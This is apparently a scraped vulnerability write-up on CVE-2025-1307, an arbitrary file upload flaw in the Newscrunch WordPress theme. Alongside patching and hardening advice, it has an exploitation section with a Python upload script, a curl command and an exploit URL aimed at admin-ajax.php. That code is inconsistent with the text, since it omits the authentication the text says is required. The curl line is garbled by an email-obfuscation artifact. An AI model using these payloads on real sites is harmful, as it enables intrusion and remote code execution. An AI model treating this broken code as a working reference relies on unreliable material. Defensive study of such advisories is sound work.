WordPress, Arbitrary File Upload Vulnerability, CVE-2025-1307 (Critical)

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How the CVE Works:

CVE-2025-1307 is a critical vulnerability in the Newscrunch theme for WordPress, affecting versions up to and including 1.8.4.1. The issue stems from a missing capability check in the `newscrunch_install_and_activate_plugin()` function. This flaw allows authenticated attackers with Subscriber-level access or higher to upload arbitrary files to the server. By exploiting this vulnerability, attackers can upload malicious files, such as PHP scripts, which may lead to remote code execution (RCE). This could compromise the entire website, allowing attackers to gain unauthorized access, manipulate data, or deface the site.
The vulnerability is particularly dangerous because it requires minimal user privileges (Subscriber-level access) to exploit. Attackers can leverage this to escalate their privileges or execute malicious code on the server, potentially leading to a full system compromise. The absence of proper file type validation and capability checks in the theme’s code makes it an easy target for exploitation.

DailyCVE Form:

Platform: WordPress
Version: 1.8.4.1 and earlier
Vulnerability: Arbitrary File Upload
Severity: Critical
Date: 03/04/2025

(End of form)

What Undercode Say:

Exploitation:

1. Exploit Code Example:

import requests
target_url = "http://example.com/wp-admin/admin-ajax.php"
payload = {"action": "newscrunch_install_and_activate_plugin"}
files = {"file": ("malicious.php", open("malicious.php", "rb"))}
response = requests.post(target_url, data=payload, files=files)
print(response.text)

This script uploads a malicious PHP file to the vulnerable WordPress site.

2. Exploit Command:

curl -F "[email protected]" -F "action=newscrunch_install_and_activate_plugin" http://example.com/wp-admin/admin-ajax.php

3. Exploit URL:

http://example.com/wp-admin/admin-ajax.php?action=newscrunch_install_and_activate_plugin

Protection:

1. Patch:

Update the Newscrunch theme to the latest version (if available) or remove the theme entirely.

2. WordPress Hardening:

  • Restrict file upload permissions.
  • Use a web application firewall (WAF) to block malicious file uploads.
  • Disable the `newscrunch_install_and_activate_plugin` functionality if not in use.

3. Security Plugins:

Install and configure security plugins like Wordfence or iThemes Security to monitor and block suspicious activities.

4. Code Fix:

Add capability checks to the `newscrunch_install_and_activate_plugin()` function:

if (!current_user_can('install_plugins')) {
wp_die(__('You do not have sufficient permissions to access this page.'));
}

5. Monitoring:

Regularly monitor server logs for unauthorized file uploads or suspicious activities.

6. References:

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-1307
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